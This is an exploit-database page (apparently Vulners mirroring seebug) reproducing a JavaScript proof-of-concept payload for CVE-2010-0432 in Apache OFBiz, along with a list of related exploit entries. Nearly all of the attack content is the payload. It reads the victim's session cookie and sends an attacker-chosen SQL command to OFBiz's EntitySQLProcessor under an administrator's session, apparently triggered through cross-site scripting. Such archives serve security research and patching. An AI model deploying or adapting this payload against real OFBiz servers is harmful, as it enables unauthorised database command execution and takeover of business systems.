Lucene search
K

Apache OFBiz - SQL Remote Execution PoC Payload

🗓️ 01 Jul 2014 00:00:00Reported by RootType 
seebug
 seebug
🔗 www.seebug.org👁 26 Views

Apache OFBiz SQL Remote Execution PoC Payloa

Related
Code
ReporterTitlePublishedViews
Family
0day.today
Apache OFBiz SQL Remote Execution PoC Payload
16 Apr 201000:00
zdt
0day.today
Apache OFBiz FULLADMIN Creator PoC Payload
16 Apr 201000:00
zdt
0day.today
Apache OFBiz Multiple XSS Vulnerability
21 Apr 201000:00
zdt
Circl
CVE-2010-0432
16 Apr 201000:00
circl
CVE
CVE-2010-0432
15 Apr 201017:00
cve
Cvelist
CVE-2010-0432
15 Apr 201017:00
cvelist
Exploit DB
Apache OFBiz - Remote Execution (via SQL Execution)
16 Apr 201000:00
exploitdb
Exploit DB
Apache OFBiz - Admin Creator
16 Apr 201000:00
exploitdb
Exploit DB
Apache OFBiz - Multiple Cross-Site Scripting Vulnerabilities
21 Apr 201000:00
exploitdb
exploitpack
Apache OFBiz - Remote Execution (via SQL Execution)
16 Apr 201000:00
exploitpack
Rows per page

                                                /*

Apache OFBiz SQL Remote Execution PoC Payload.

CVE: CVE-2010-0432

By: Lucas Apa ( lucas -at- bonsai-sec.com ).

Bonsai Information Security

http://www.bonsai-sec.com/

*/

var cmd = 'command';

var xmlhttp=false;
try {
xmlhttp = new ActiveXObject("Msxml2.XMLHTTP");
} catch (e) {
try {
xmlhttp = new ActiveXObject("Microsoft.XMLHTTP");
} catch (E) {
xmlhttp = false;
}
}

if (!xmlhttp && typeof XMLHttpRequest!='undefined') {
try {
xmlhttp = new XMLHttpRequest();
} catch (e) {
xmlhttp=false;
}
}
if (!xmlhttp && window.createRequest) {
try {
xmlhttp = window.createRequest();
} catch (e) {
xmlhttp=false;
}
}

xmlhttp.open("POST", "
https://192.168.225.135:8443/webtools/control/EntitySQLProcessor",true);
xmlhttp.onreadystatechange=function() {
if (xmlhttp2.readyState==4) {
//alert(xmlhttp.responseText)
}
}

var cookie = unescape(document.cookie);
xmlhttp.setRequestHeader("content-type",
"application/x-www-form-urlencoded");
xmlhttp.setRequestHeader("cookie", cookie);
var str1 = (<r><![CDATA[submitButton=Enviar&sqlCommand=]]></r>).toString();
var str2 = (<r><![CDATA[&group=org.ofbiz&rowLimit=200]]></r>).toString();
var post_data = str1+cmd+str2;
xmlhttp.send(post_data);

                              

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation